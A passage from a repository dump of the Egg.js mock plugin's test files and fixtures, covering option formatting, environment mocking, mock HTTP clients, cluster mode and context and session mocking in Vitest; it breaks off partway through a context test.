    "path": "plugins/mock/test/fixtures/test-case-create-context-failed/test/index.test.js",
    "content": "const { describe, it } = require('vitest');\nconst { setGetAppCallback } = require('../../../..');\n\nsetGetAppCallback((suite, test) => {\n  return {\n    ready: async () => {\n      // ...\n    },\n    mockContextScope: async (scope) => {\n      if (!test) {\n        await scope({});\n      } else {\n        throw new Error('mock create context failed');\n      }\n    },\n    backgroundTasksFinished: async () => {\n      // ...\n    },\n    close: async () => {\n      // ...\n    },\n  };\n});\n\ndescribe('test case create context error', function () {\n  it('should not print', () => {});\n});\n"
  },
  {
    "path": "plugins/mock/test/fixtures/test-case-get-app-failed/config/config.default.js",
    "content": "'use strict';\n\nmodule.exports = {\n  keys: '123',\n};\n"
  },
  {
    "path": "plugins/mock/test/fixtures/test-case-get-app-failed/package.json",
    "content": "{\n  \"name\": \"app\"\n}\n"
  },
  {
    "path": "plugins/mock/test/fixtures/test-case-get-app-failed/test/index.test.js",
    "content": "const { describe, it } = require('vitest');\nconst { setGetAppCallback } = require('../../../..');\n\nsetGetAppCallback((suite, test) => {\n  if (test) {\n    throw new Error('mock get app failed');\n  }\n  return {\n    ready: async () => {\n      // ...\n    },\n    mockContextScope: async (scope) => {\n      await scope({});\n    },\n    backgroundTasksFinished: async () => {\n      // ...\n    },\n    close: async () => {\n      // ...\n    },\n  };\n});\n\ndescribe('test case get app error', () => {\n  it('should not print', () => {});\n});\n"
  },
  {
    "path": "plugins/mock/test/fixtures/yadan_app/config/config.default.js",
    "content": "exports.keys = '123';\n"
  },
  {
    "path": "plugins/mock/test/fixtures/yadan_app/package.json",
    "content": "{\n  \"name\": \"custom\",\n  \"egg\": {\n    \"framework\": \"yadan\"\n  }\n}\n"
  },
  {
    "path": "plugins/mock/test/fixtures/yadan_app_fail/config/config.default.js",
    "content": "'use strict';\n\nexports.keys = '123';\n"
  },
  {
    "path": "plugins/mock/test/fixtures/yadan_app_fail/package.json",
    "content": "{\n  \"name\": \"custom\",\n  \"egg\": {\n    \"framework\": \"yadan\"\n  }\n}\n"
  },
  {
    "path": "plugins/mock/test/format_options.test.ts",
    "content": "import { strict as assert } from 'node:assert';\nimport path from 'node:path';\n\nimport { describe, it, afterEach } from 'vitest';\n\nimport mm from '../src/index.ts';\nimport { formatOptions } from '../src/lib/format_options.ts';\nimport { getSourceDirname } from '../src/lib/utils.ts';\nimport { getFixtures } from './helper.ts';\n\ndescribe('test/format_options.test.ts', () => {\n  afterEach(mm.restore);\n\n  it('should return the default options', () => {\n    const options = formatOptions();\n    assert(options);\n    assert(options.coverage === true);\n    assert(options.cache === true);\n    assert(options.baseDir === process.cwd());\n    assert.deepEqual(options.plugins['egg-mock'], {\n      enable: true,\n      path: path.join(getSourceDirname(), '..'),\n    });\n  });\n\n  it('should return baseDir when on windows', () => {\n    const baseDir = 'D:\\\\projectWorkSpace\\\\summer';\n    mm(path, 'isAbsolute', path.win32.isAbsolute);\n    mm(process, 'cwd', () => baseDir);\n    try {\n      formatOptions();\n      throw new Error('should not run');\n    } catch (err: any) {\n      assert(/D:[\\\\|/]projectWorkSpace[\\\\|/]summer/.test(err.message));\n    }\n  });\n\n  it('should set cache', () => {\n    const options = formatOptions({ cache: false });\n    assert(options);\n    assert(options.cache === false);\n  });\n\n  it('should disable cache when call mm.env', () => {\n    mm.env('prod');\n    const options = formatOptions();\n    assert(options);\n    assert(options.cache === false);\n  });\n\n  it('should set coverage', () => {\n    const options = formatOptions({ coverage: false });\n    assert(options);\n    assert(options.coverage === false);\n  });\n\n  it('should return options when set full baseDir', () => {\n    const baseDir = getFixtures('app');\n    const options = formatOptions({ baseDir });\n    assert(options);\n    assert(options.baseDir === baseDir);\n  });\n\n  it('should return options when set short baseDir', () => {\n    const options = formatOptions({ baseDir: getFixtures('apps/foo') });\n    assert(options);\n    assert(options.baseDir === getFixtures('apps/foo'));\n  });\n\n  it('should return options when set customEgg', () => {\n    const customEgg = getFixtures('bar');\n    const options = formatOptions({ customEgg });\n    assert(options);\n    assert(options.customEgg === customEgg);\n    assert(options.framework === customEgg);\n  });\n\n  it('should return options when set customEgg=true', () => {\n    const baseDir = getFixtures('bar');\n    mm(process, 'cwd', () => {\n      return baseDir;\n    });\n    const options = formatOptions({ customEgg: true });\n    assert(options);\n    assert.equal(options.framework, baseDir);\n    assert.equal(options.customEgg, baseDir);\n  });\n\n  it('should return options when set framework=true', () => {\n    const baseDir = getFixtures('bar');\n    mm(process, 'cwd', () => {\n      return baseDir;\n    });\n    const options = formatOptions({ framework: true });\n    assert(options);\n    assert.equal(options.framework, baseDir);\n    assert.equal(options.customEgg, baseDir);\n  });\n\n  it('should push plugins when in plugin dir', () => {\n    const baseDir = getFixtures('plugin');\n    mm(process, 'cwd', () => {\n      return baseDir;\n    });\n    const options = formatOptions();\n    assert(options);\n    assert.deepEqual(options.plugins.plugin1, {\n      enable: true,\n      path: baseDir,\n    });\n  });\n\n  it('should not push plugins when in plugin dir but options.plugin = false', () => {\n    const baseDir = getFixtures('plugin');\n    mm(process, 'cwd', () => {\n      return baseDir;\n    });\n    const options = formatOptions({\n      plugin: false,\n    });\n    assert(options);\n    assert(!options.plugins.plugin1);\n  });\n\n  it('should not throw when no eggPlugin', () => {\n    const baseDir = getFixtures('plugin_throw');\n    mm(process, 'cwd', () => {\n      return baseDir;\n    });\n    formatOptions();\n  });\n\n  it('should throw when no eggPlugin and options.plugin === true', () => {\n    const baseDir = getFixtures('plugin_throw');\n    mm(process, 'cwd', () => {\n      return baseDir;\n    });\n    assert.throws(() => {\n      formatOptions({\n        plugin: true,\n      });\n    }, new RegExp(`should set \"eggPlugin\" property in`));\n  });\n\n  it('should mock process.env.HOME when EGG_SERVER_ENV is default, test, prod', () => {\n    const baseDir = process.cwd();\n\n    mm(process.env, 'EGG_SERVER_ENV', 'local');\n    assert.notEqual(process.env.HOME, baseDir);\n\n    mm(process.env, 'EGG_SERVER_ENV', 'default');\n    formatOptions();\n    assert.equal(process.env.HOME, baseDir);\n\n    mm(process.env, 'EGG_SERVER_ENV', 'test');\n    formatOptions();\n    assert.equal(process.env.HOME, baseDir);\n\n    mm(process.env, 'EGG_SERVER_ENV', 'prod');\n    formatOptions();\n    assert.equal(process.env.HOME, baseDir);\n  });\n\n  // FIXME: flaky test\n  it.skip('should not mock process.env.HOME when it has mocked', () => {\n    const baseDir = process.cwd();\n    mm(process.env, 'HOME', '/mockpath');\n    mm(process.env, 'EGG_SERVER_ENV', 'default');\n    formatOptions();\n    assert.notEqual(process.env.HOME, baseDir);\n  });\n});\n"
  },
  {
    "path": "plugins/mock/test/helper.ts",
    "content": "import path from 'node:path';\n\nexport const __dirname: string = import.meta.dirname;\n\nexport function getFixtures(filename: string): string {\n  return path.join(__dirname, 'fixtures', filename);\n}\n"
  },
  {
    "path": "plugins/mock/test/index.test-skip.ts",
    "content": "// import mm from '../index';\n// import * as path from 'path';\n// const fixtures = path.join(__dirname, 'fixtures');\n\n// const app = mm.app({\n//   baseDir: path.join(fixtures, 'demo'),\n// });\n// app.ready().then(() => {\n//   app.httpRequest()\n//   app.mockContext({\n//     user: { name: 'Jason' }\n//   });\n\n//   app.mockCookies({\n//     foo: 'bar'\n//   });\n\n//   app.mockSession({\n//     foo: 'bar'\n//   });\n\n//   app.mockContext();\n\n//   app.mockService('foo', 'get', function* (ctx, methodName, args) {\n//     return 'popomore';\n//   });\n\n//   app.mockServiceError('foo', 'get', new Error('mock error'));\n\n//   app.mockCsrf();\n\n//   app.mockHttpclient('https://eggjs.org', 'mock egg');\n//   app.mockHttpclient('https://eggjs.org', {\n//     data: 'mock egg',\n//     status: 200,\n//   });\n\n//   app.mockHttpclient('https://eggjs.org', [ 'get' , 'head' ], { data: 'foo' });\n\n//   app.mockHttpclient('https://eggjs.org', '*', { data: 'bar' });\n\n//   app.mockHttpclient('https://eggjs.org', () => ({\n//     data: 'mock egg',\n//     status: 200,\n//   }));\n\n//   app.mockHttpclient('https://eggjs.org', function (url, opts) {\n//     url.toLowerCase();\n//     opts.data;\n//     return 'a';\n//   });\n\n//   app.httpRequest().post('/user').set('a', 'b').send().expect(200);\n\n//   console.log('   ts run ok');\n//   app.close();\n//   mm.restore();\n//   process.exit(0);\n// }).catch(e => {\n//   console.log(e);\n//   process.exit(1);\n// });\n\n// mm.consoleLevel('INFO');\n\n// mm.home('a')\n\n// // mm.cluster();\n\n// mm.env('test');\n\n// // test for bootstrap\n// (global as any).before = () => {};\n// (global as any).afterEach = () => {};\n\n// import { mock, app as bootApp, assert } from '../bootstrap';\n// bootApp.ready;\n// mock.restore;\n// assert(true);\n// mock.app;\n"
  },
  {
    "path": "plugins/mock/test/inject_ctx.test.ts",
    "content": "// import { strict as assert } from 'node:assert';\nimport path from 'node:path';\n\nimport { importResolve } from '@eggjs/utils';\nimport coffee from 'coffee';\nimport { describe, it } from 'vitest';\n\nimport { getFixtures } from './helper.ts';\n\ndescribe.skip('test/inject_ctx.test.ts', () => {\n  const eggBinFile = path.join(importResolve('@eggjs/bin/package.json'), '../bin/run.js');\n\n  // it('should export register', () => {\n  //   assert.equal(importResolve('./dist/commonjs/register.js'), getFixtures('../../dist/commonjs/register.js'));\n  //   assert.equal(importResolve('./dist/commonjs/register'), getFixtures('../../dist/commonjs/register.js'));\n  //   assert.equal(importResolve('./dist/esm/register'), getFixtures('../../dist/esm/register.js'));\n  //   assert.equal(importResolve('./dist/esm/register.js'), getFixtures('../../dist/esm/register.js'));\n  // });\n\n  it.skip('should inject ctx to runner with commonjs', async () => {\n    const fixture = getFixtures('tegg-app');\n\n    await coffee\n      .fork(eggBinFile, ['test', '-r', getFixtures('../../dist/commonjs/register.js')], {\n        cwd: fixture,\n        env: {\n          EGG_FRAMEWORK: importResolve('egg'),\n        },\n      })\n      .debug()\n      .expect('code', 0)\n      .expect('stdout', /\\d+ passing/)\n      .end();\n  });\n\n  it.skip('should inject ctx to runner with esm', async () => {\n    const fixture = getFixtures('tegg-app-esm');\n\n    await coffee\n      .fork(eggBinFile, ['test', 'test/hooks.test.ts', '-r', getFixtures('../../register.ts')], {\n        cwd: fixture,\n        env: {\n          EGG_FRAMEWORK: importResolve('egg'),\n        },\n      })\n      .debug()\n      .expect('code', 0)\n      .expect('stdout', /\\d+ passing/)\n      // .expect('stderr', /should work/)\n      .end();\n  });\n\n  it('should inject ctx to runner with setGetAppCallback on commonjs', async () => {\n    const fixture = getFixtures('setup-app');\n\n    await coffee\n      .fork(eggBinFile, ['test', '-r', importResolve('./register.ts')], {\n        cwd: fixture,\n      })\n      // .debug()\n      .expect('code', 0)\n      // .expect('stdout', /9 passing/)\n      .end();\n  });\n\n  it('hook/case error should failed', async () => {\n    const fixture = getFixtures('failed-app');\n\n    await coffee\n      .fork(eggBinFile, ['test', '-r', importResolve('./register.ts')], {\n        cwd: fixture,\n        env: {\n          EGG_FRAMEWORK: importResolve('egg'),\n        },\n      })\n      // .debug()\n      .expect('stdout', /after error test case should print/)\n      .expect('stdout', /afterEach error test case should print/)\n      .expect('stdout', /\"before all\" hook for \"should not print\"/)\n      .expect('stdout', /\"after all\" hook for \"should print\"/)\n      .expect('stdout', /\"before each\" hook for \"should not print\"/)\n      .expect('stdout', /\"after each\" hook for \"should print\"/)\n      .expect('stdout', /3 passing/)\n      // 1 after + 1 afterEach + 1 before + 1 beforeEach + 1 test case\n      .expect('stdout', /5 failing/)\n      .expect('code', 1)\n      .end();\n  });\n\n  describe('run suite', () => {\n    //   test/inject_ctx.test.js\n    //     run suite\n    //   1) \"before all\" hook: beforeAll in \"{root}\"\n    //   2) \"after all\" hook: afterAll in \"{root}\"\n    //   0 passing (7ms)\n    //   2 failing\n    //   1) \"before all\" hook: beforeAll in \"{root}\":\n    //      Error: mock get app failed\n    //   2) \"after all\" hook: afterAll in \"{root}\":\n    //      Error: mock get app failed\n    it('get app error should failed', async () => {\n      const fixture = getFixtures('get-app-failed');\n\n      await coffee\n        .fork(eggBinFile, ['test', '-r', importResolve('./register.ts')], {\n          cwd: fixture,\n          env: {\n            EGG_FRAMEWORK: importResolve('egg'),\n          },\n        })\n        .debug()\n        .expect('code', 1)\n        .expect('stdout', /\"before all\" hook: beforeAll in \"{root}\"/)\n        .end();\n    });\n\n    //   test/inject_ctx.test.js\n    //     run suite\n    //   1) \"before all\" hook: egg-mock-mock-ctx-failed in \"{root}\"\n    //   0 passing (4ms)\n    //   1 failing\n    //   1) \"before all\" hook: egg-mock-mock-ctx-failed in \"{root}\":\n    //      Error: mock create context failed\n    it('create context error should failed', async () => {\n      const fixture = getFixtures('create-context-failed');\n\n      await coffee\n        .fork(eggBinFile, ['test', '-r', importResolve('./register.ts')], {\n          cwd: fixture,\n          env: {\n            EGG_FRAMEWORK: importResolve('egg'),\n          },\n        })\n        // .debug()\n        .expect('code', 1)\n        .expect('stdout', /Error: mock create context failed/)\n        .end();\n    });\n\n    //   1) \"before all\" hook: beforeAll in \"{root}\"\n    //   2) \"after all\" hook: afterAll in \"{root}\"\n    //   0 passing (432ms)\n    //   2 failing\n    //   1) \"before all\" hook: beforeAll in \"{root}\":\n    //      Error: mock app ready failed\n    //   2) \"after all\" hook: afterAll in \"{root}\":\n    //      Error: mock app ready failed\n    it('app.ready error should failed', async () => {\n      const fixture = getFixtures('app-ready-failed');\n\n      await coffee\n        .fork(eggBinFile, ['test', '-r', importResolve('./register.ts')], {\n          cwd: fixture,\n          env: {\n            EGG_FRAMEWORK: importResolve('egg'),\n          },\n        })\n        .debug()\n        .expect('code', 1)\n        .expect('stdout', /mock app ready failed/)\n        .end();\n    });\n  });\n\n  describe('run test', () => {\n    //  test case get app error\n    //     1) should not print\n    //   0 passing (5ms)\n    //   1 failing\n    //   1) test case get app error\n    //        should not print:\n    //      Error: mock get app failed\n    it('get app error should failed', async () => {\n      const fixture = getFixtures('test-case-get-app-failed');\n\n      await coffee\n        .fork(eggBinFile, ['test', '-r', importResolve('./register.ts')], {\n          cwd: fixture,\n          env: {\n            EGG_FRAMEWORK: importResolve('egg'),\n          },\n        })\n        // .debug()\n        .expect('code', 1)\n        .expect('stdout', /Error: mock get app failed/)\n        .end();\n    });\n\n    //   test case create context error\n    //     1) should not print\n    //   0 passing (7ms)\n    //   1 failing\n    //   1) test case create context error\n    //        should not print:\n    //      Error: mock create context failed\n    //       at Object.mockContextScope (test/index.test.js:12:15)\n    //       at next (/Users/killa/workspace/egg-mock/lib/inject_context.js:107:30)\n    it('create context error should failed', async () => {\n      const fixture = getFixtures('test-case-create-context-failed');\n\n      await coffee\n        .fork(eggBinFile, ['test', '-r', importResolve('./register.ts')], {\n          cwd: fixture,\n          env: {\n            EGG_FRAMEWORK: importResolve('egg'),\n          },\n        })\n        // .debug()\n        .expect('code', 1)\n        .expect('stdout', /Error: mock create context failed/)\n        .end();\n    });\n  });\n});\n"
  },
  {
    "path": "plugins/mock/test/mm.test.ts",
    "content": "import { strict as assert } from 'node:assert';\nimport path from 'node:path';\n// import fs from 'node:fs';\n\nimport { describe, it, beforeEach, afterEach, afterAll, beforeAll } from 'vitest';\n\nimport mm, { type MockApplication } from '../src/index.ts';\nimport { getFixtures } from './helper.ts';\n\nconst baseDir = getFixtures('apps/env-app');\n\ndescribe('test/mm.test.ts', () => {\n  afterEach(mm.restore);\n\n  describe('mm.env()', () => {\n    let app: MockApplication;\n    beforeEach(() => {\n      mm(process.env, 'EGG_HOME', baseDir);\n    });\n    afterEach(() => app.close());\n\n    it('should mock unittest', async () => {\n      app = mm.app({ baseDir: getFixtures('apps/env-app'), cache: false });\n      await app.ready();\n      assert(app.config.fakeplugin.foo === 'bar-unittest');\n      assert(app.config.logger.dir === path.join(baseDir, 'logs/env-app'));\n    });\n\n    it('should mock test', async () => {\n      mm.env('test');\n      app = mm.app({ baseDir: getFixtures('apps/env-app'), cache: false });\n      await app.ready();\n      assert(app.config.fakeplugin.foo === 'bar-test');\n      assert(app.config.logger.dir === path.join(baseDir, 'logs/env-app'));\n    });\n\n    it('should mock prod', async () => {\n      mm.env('prod');\n      app = mm.app({ baseDir: getFixtures('apps/env-app'), cache: false });\n      await app.ready();\n      assert(app.config.fakeplugin.foo === 'bar-prod');\n      assert(app.config.logger.dir === path.join(baseDir, 'logs/env-app'));\n    });\n\n    it('should mock default', async () => {\n      mm.env('default');\n      app = mm.app({ baseDir: getFixtures('apps/env-app'), cache: false });\n      await app.ready();\n      assert(app.config.fakeplugin.foo === 'bar-default');\n      assert(app.config.logger.dir === path.join(baseDir, 'logs/env-app'));\n    });\n\n    it('should mock unittest', async () => {\n      mm.env('unittest');\n      app = mm.app({ baseDir: getFixtures('apps/env-app'), cache: false });\n      await app.ready();\n      assert(app.config.fakeplugin.foo === 'bar-unittest');\n      assert(app.config.logger.dir === path.join(baseDir, 'logs/env-app'));\n    });\n\n    it('should mock local', async () => {\n      mm.env('local');\n      app = mm.app({ baseDir: getFixtures('apps/env-app'), cache: false });\n      await app.ready();\n      assert(app.config.fakeplugin.foo === 'bar-default');\n      assert(app.config.logger.dir === path.join(baseDir, 'logs/env-app'));\n    });\n  });\n\n  describe('mm.app({ clean: false })', () => {\n    let app: MockApplication;\n    afterAll(() => app.close());\n\n    it('keep log dir', async () => {\n      app = mm.app({\n        baseDir: getFixtures('apps/app-not-clean'),\n        clean: false,\n      });\n      await app.ready();\n      // assert(fs.existsSync(getFixtures('apps/app-not-clean/logs/keep')));\n    });\n  });\n\n  describe('mm.consoleLevel()', () => {\n    it('should mock EGG_LOG', () => {\n      mm.consoleLevel('none');\n      assert(process.env.EGG_LOG === 'NONE');\n    });\n\n    it('should not mock', () => {\n      mm.consoleLevel('');\n      assert(!process.env.EGG_LOG);\n    });\n  });\n\n  describe('mm.home', () => {\n    let app: MockApplication;\n    const baseDir = getFixtures('apps/mockhome');\n    beforeAll(() => {\n      mm.home(baseDir);\n      app = mm.app({ baseDir: getFixtures('apps/mockhome'), clean: false });\n      return app.ready();\n    });\n    afterAll(() => app.close());\n\n    it('should mock home', () => {\n      assert(app.config.HOME === baseDir);\n    });\n\n    it('should ignore when parameter is empty', () => {\n      mm.home();\n      assert(!process.env.EGG_HOME);\n    });\n  });\n\n  describe('egg-mock', () => {\n    let app: MockApplication;\n    beforeAll(() => {\n      app = mm.app({\n        baseDir: getFixtures('apps/no-framework'),\n      });\n      return app.ready();\n    });\n    afterAll(() => app.close());\n\n    it('should not be a framework', () => {\n      app.mockEnv('prod test not work');\n      assert(app.config.env === 'mocked by plugin');\n    });\n  });\n});\n"
  },
  {
    "path": "plugins/mock/test/mock_agent_httpclient.test.ts",
    "content": "import { strict as assert } from 'node:assert';\n\nimport { describe, it, beforeAll, afterAll, afterEach } from 'vitest';\n\nimport mm, { type MockApplication } from '../src/index.ts';\nimport { getFixtures } from './helper.ts';\n\nconst url = 'http://127.0.0.1:9989/mock_url';\n\ndescribe.skip('test/mock_agent_httpclient.test.ts', () => {\n  let app: MockApplication;\n  let agent: any;\n  let httpclient: any;\n  beforeAll(() => {\n    app = mm.app({\n      baseDir: getFixtures('demo'),\n    });\n    return app.ready();\n  });\n  beforeAll(() => {\n    agent = (app as any).agent;\n    httpclient = crtHttpclient(agent);\n  });\n  afterAll(() => agent.close());\n  afterEach(mm.restore);\n\n  // it('should mock url and get response event on urllib', done => {\n  //   // @ts-ignore - intentionally overriding done callback with pending wrapper\n  //   done = pending(3, done);\n  //   agent.mockHttpclient(url, {\n  //     data: Buffer.from('mock response'),\n  //   });\n\n  //   agent.httpclient.once('request', function (meta: any) {\n  //     assert('url' in meta);\n  //     assert('args' in meta);\n  //     // @ts-ignore\n  //     done();\n  //   });\n\n  //   agent.httpclient.once('response', function (result: any) {\n  //     assert('url' in result.req);\n  //     assert('options' in result.req);\n\n  //     assert.equal(result.res.status, 200);\n  //     // @ts-ignore\n  //     done();\n  //   });\n\n  //   let count = 0;\n  //   agent.httpclient.on('response', function (result: any) {\n  //     if (count === 0) {\n  //       assert.equal(result.req.options.method, 'GET');\n  //       //   assert.deepEqual(result.req.options, {\n  //       //     dataType: undefined,\n  //       //     method: 'GET',\n  //       //     headers: {},\n  //       //   });\n  //     } else if (count === 1) {\n  //       assert.equal(result.req.options.method, 'POST');\n  //       //   assert.deepEqual(result.req.options, {\n  //       //     dataType: undefined,\n  //       //     method: 'POST',\n  //       //     headers: {\n  //       //       'x-custom': 'custom',\n  //       //     },\n  //       //   });\n  //     }\n  //     count++;\n  //   });\n\n  //   httpclient().then((data: any) => {\n  //     assert.deepEqual(data, {\n  //       get: 'mock response',\n  //       post: 'mock response',\n  //     });\n  //     // @ts-ignore\n  //     done();\n  //   });\n  // });\n\n  // it('should mock url support multi method', done => {\n  //   // @ts-ignore - intentionally overriding done callback with pending wrapper\n  //   done = pending(2, done);\n  //   agent.mockHttpclient(url, ['get', 'post'], {\n  //     data: Buffer.from('mock response'),\n  //   });\n\n  //   agent.httpclient.once('response', function (result: any) {\n  //     assert.equal(result.res.status, 200);\n  //     // assert.deepEqual(result.res, {\n  //     //   status: 200,\n  //     //   statusCode: 200,\n  //     //   headers: {},\n  //     //   size: 13,\n  //     //   aborted: false,\n  //     //   rt: 1,\n  //     //   keepAliveSocket: false,\n  //     // });\n  //     // @ts-ignore\n  //     done();\n  //   });\n\n  //   httpclient().then((data: any) => {\n  //     assert.deepEqual(data, {\n  //       get: 'mock response',\n  //       post: 'mock response',\n  //     });\n  //     // @ts-ignore\n  //     done();\n  //   });\n  // });\n\n  // it('should mock url method support *', done => {\n  //   // @ts-ignore - intentionally overriding done callback with pending wrapper\n  //   done = pending(2, done);\n  //   agent.mockHttpclient(url, '*', {\n  //     data: Buffer.from('mock response'),\n  //   });\n\n  //   agent.httpclient.once('response', function (result: any) {\n  //     assert.equal(result.res.status, 200);\n  //     // assert.deepEqual(result.res, {\n  //     //   status: 200,\n  //     //   statusCode: 200,\n  //     //   headers: {},\n  //     //   size: 13,\n  //     //   aborted: false,\n  //     //   rt: 1,\n  //     //   keepAliveSocket: false,\n  //     // });\n  //     // @ts-ignore\n  //     done();\n  //   });\n\n  //   httpclient().then((data: any) => {\n  //     assert.deepEqual(data, {\n  //       get: 'mock response',\n  //       post: 'mock response',\n  //     });\n  //     // @ts-ignore\n  //     done();\n  //   });\n  // });\n\n  it('should mock url get and post', (done) => {\n    agent.mockHttpclient(url, 'get', {\n      data: 'mock url get',\n    });\n    agent.mockHttpclient(url, 'post', {\n      data: 'mock url post',\n    });\n\n    httpclient().then((data: any) => {\n      assert.deepEqual(data, {\n        get: 'mock url get',\n        post: 'mock url post',\n      });\n      // @ts-ignore\n      done();\n    });\n  });\n\n  it('should support request', (done) => {\n    agent.mockHttpclient(url, 'get', {\n      data: 'mock url get',\n    });\n    agent.mockHttpclient(url, 'post', {\n      data: 'mock url post',\n    });\n\n    httpclient('request').then((data: any) => {\n      assert.deepEqual(data, {\n        get: 'mock url get',\n        post: 'mock url post',\n      });\n      // @ts-ignore\n      done();\n    });\n  });\n\n  it('should set default method to *', (done) => {\n    agent.mockHttpclient(url, {\n      data: 'mock url *',\n    });\n    agent.mockHttpclient(url, 'post', {\n      data: 'mock url post',\n    });\n\n    httpclient('request').then((data: any) => {\n      assert.deepEqual(data, {\n        get: 'mock url *',\n        post: 'mock url *',\n      });\n      // @ts-ignore\n      done();\n    });\n  });\n\n  it('should support curl', (done) => {\n    agent.mockHttpclient(url, 'get', {\n      data: 'mock url get',\n    });\n    agent.mockHttpclient(url, 'post', {\n      data: 'mock url post',\n    });\n\n    httpclient('curl').then((data: any) => {\n      assert.deepEqual(data, {\n        get: 'mock url get',\n        post: 'mock url post',\n      });\n      // @ts-ignore\n      done();\n    });\n  });\n\n  it('should support json', (done) => {\n    agent.mockHttpclient(url, 'get', {\n      data: { method: 'get' },\n    });\n    agent.mockHttpclient(url, 'post', {\n      data: { method: 'post' },\n    });\n\n    httpclient('request', 'json').then((data: any) => {\n      assert.deepEqual(data, {\n        get: { method: 'get' },\n        post: { method: 'post' },\n      });\n      // @ts-ignore\n      done();\n    });\n  });\n\n  it('should support text', (done) => {\n    agent.mockHttpclient(url, 'get', {\n      data: 'mock url get',\n    });\n    agent.mockHttpclient(url, 'post', {\n      data: 'mock url post',\n    });\n\n    httpclient('request', 'text').then((data: any) => {\n      assert.deepEqual(data, {\n        get: 'mock url get',\n        post: 'mock url post',\n      });\n      // @ts-ignore\n      done();\n    });\n  });\n\n  it('should mock url and get response event on urllib', (done) => {\n    agent.mockHttpclient(url, {\n      data: Buffer.from('mock response'),\n    });\n\n    httpclient().then((data: any) => {\n      assert.deepEqual(data, {\n        get: 'mock response',\n        post: 'mock response',\n      });\n      // @ts-ignore\n      done();\n    });\n  });\n});\n\nfunction crtHttpclient(app: any) {\n  return function request(method: string = 'request', dataType?: string) {\n    const r1 = app.httpclient[method](url, {\n      dataType,\n    });\n\n    const r2 = app.httpclient[method](url, {\n      method: 'POST',\n      dataType,\n      headers: {\n        'x-custom': 'custom',\n      },\n    });\n    return Promise.all([r1, r2]).then(([r1, r2]) => {\n      return {\n        get: Buffer.isBuffer(r1.data) ? r1.data.toString() : r1.data,\n        post: Buffer.isBuffer(r2.data) ? r2.data.toString() : r2.data,\n      };\n    });\n  };\n}\n"
  },
  {
    "path": "plugins/mock/test/mock_cluster_extend.test.ts",
    "content": "import { strict as assert } from 'node:assert';\n\nimport { describe, it, beforeAll, afterAll, afterEach } from 'vitest';\n\nimport mm, { type MockApplication } from '../src/index.ts';\nimport { getFixtures } from './helper.ts';\n\ndescribe('test/mock_cluster_extend.test.ts', () => {\n  let app: MockApplication;\n  beforeAll(() => {\n    app = mm.cluster({\n      baseDir: getFixtures('demo'),\n      coverage: false,\n    });\n    return app.ready();\n  });\n  afterAll(() => app.close());\n\n  afterEach(mm.restore);\n\n  it('should mock cluster with result', async () => {\n    let result = await app.mockDevice({ name: 'egg' });\n    assert.deepEqual(result, { name: 'egg', mock: true });\n\n    result = await app.mockGenerator({ name: 'egg generator' });\n    assert.deepEqual(result, { name: 'egg generator', mock: true });\n\n    result = await app.mockPromise({ name: 'egg promise' });\n    assert.deepEqual(result, { name: 'egg promise', mock: true });\n  });\n});\n"
  },
  {
    "path": "plugins/mock/test/mock_cluster_restore.test.ts",
    "content": "// import { strict as assert } from 'node:assert';\n// import fs from 'node:fs';\n// import { scheduler } from 'node:timers/promises';\n\nimport { describe, it, beforeAll, afterAll } from 'vitest';\n\nimport mm, { type MockApplication } from '../src/index.ts';\nimport { getFixtures } from './helper.ts';\n\n// afterEach(mm.restore);\n\ndescribe('cluster mock restore', () => {\n  let app: MockApplication;\n  beforeAll(() => {\n    app = mm.cluster({\n      baseDir: getFixtures('demo'),\n      coverage: false,\n    });\n    return app.ready();\n  });\n  afterAll(() => app.close());\n\n  it('should work', async () => {\n    app.mockSession({\n      user: {\n        foo: 'bar',\n      },\n      hello: 'egg mock session data',\n    });\n    await app\n      .httpRequest()\n      .get('/session')\n      .expect({\n        user: {\n          foo: 'bar',\n        },\n        hello: 'egg mock session data',\n      });\n\n    mm.restore();\n    await app.httpRequest().get('/session').expect({});\n  });\n});\n\ndescribe.skip('handle uncaughtException', () => {\n  let app: MockApplication;\n  beforeAll(() => {\n    app = mm.cluster({\n      baseDir: getFixtures('apps/app-throw'),\n      coverage: false,\n    });\n    return app.ready();\n  });\n  afterAll(() => app.close());\n\n  it('should handle uncaughtException and log it', async () => {\n    await app.httpRequest().get('/throw').expect('foo').expect(200);\n\n    // await scheduler.wait(1100);\n    // const logFile = getFixtures('apps/app-throw/logs/app-throw/common-error.log');\n    // const body = fs.readFileSync(logFile, 'utf8');\n    // assert(body.includes('ReferenceError: a is not defined (uncaughtException throw'));\n  });\n});\n"
  },
  {
    "path": "plugins/mock/test/mock_cluster_without_security_plugin.test.ts",
    "content": "import { describe, it, beforeAll, afterAll, afterEach } from 'vitest';\n\nimport mm, { type MockApplication } from '../src/index.ts';\nimport { getFixtures } from './helper.ts';\n\ndescribe('test/mock_cluster_without_security_plugin.test.ts', () => {\n  let app: MockApplication;\n  beforeAll(async () => {\n    app = mm.cluster({\n      baseDir: getFixtures('disable-security'),\n      coverage: false,\n    });\n    await app.ready();\n  });\n  afterAll(async () => {\n    await app.close();\n  });\n\n  afterEach(mm.restore);\n\n  it('should mock cluster work', async () => {\n    app.mockSession({\n      user: {\n        foo: 'bar',\n      },\n      hello: 'egg mock session data',\n    });\n    await app\n      .httpRequest()\n      .get('/session')\n      .expect({\n        user: {\n          foo: 'bar',\n        },\n        hello: 'egg mock session data',\n      });\n  });\n});\n"
  },
  {
    "path": "plugins/mock/test/mock_context.test.ts",
    "content": "import { strict as assert } from 'node:assert';\n\nimport { describe, it, beforeAll, afterAll, afterEach } from 'vitest';\n\nimport mm, { type MockApplication } from '../src/index.ts';\nimport { getFixtures } from './helper.ts';\n\ndescribe.skipIf(process.platform === 'win32')('test/mock_context.test.ts', () => {\n  let app: MockApplication;\n  beforeAll(async () => {\n    app = mm.app({\n      baseDir: getFixtures('demo'),\n    });\n    await app.ready();\n  });\n  afterAll(() => app.close());\n  afterEach(mm.restore);\n\n  it('should work on GET with user login', () => {\n    app.mockContext({\n      user: {\n        foo: 'bar',\n      },\n      tracer: {\n        traceId: 'foo-traceId',\n      },\n    });\n\n    // assert(ctx.user.foo === 'bar');\n    return app\n      .httpRequest()\n      .get('/user')\n      .expect(200)\n      .expect({\n        foo: 'bar',\n      })\n      .expect('x-request-url', '/user');\n  });\n\n  it('should work on POST with user login', () => {\n    app.mockContext({\n      user: {\n        foo: 'bar',\n      },\n    });\n\n    app.mockCsrf();\n    return app\n      .httpRequest()\n      .post('/user')\n      .send({\n        hi: 'body',\n        a: 123,\n      })\n      .expect(200)\n      .expect({\n        params: {\n          hi: 'body',\n          a: 123,\n        },\n        user: {\n          foo: 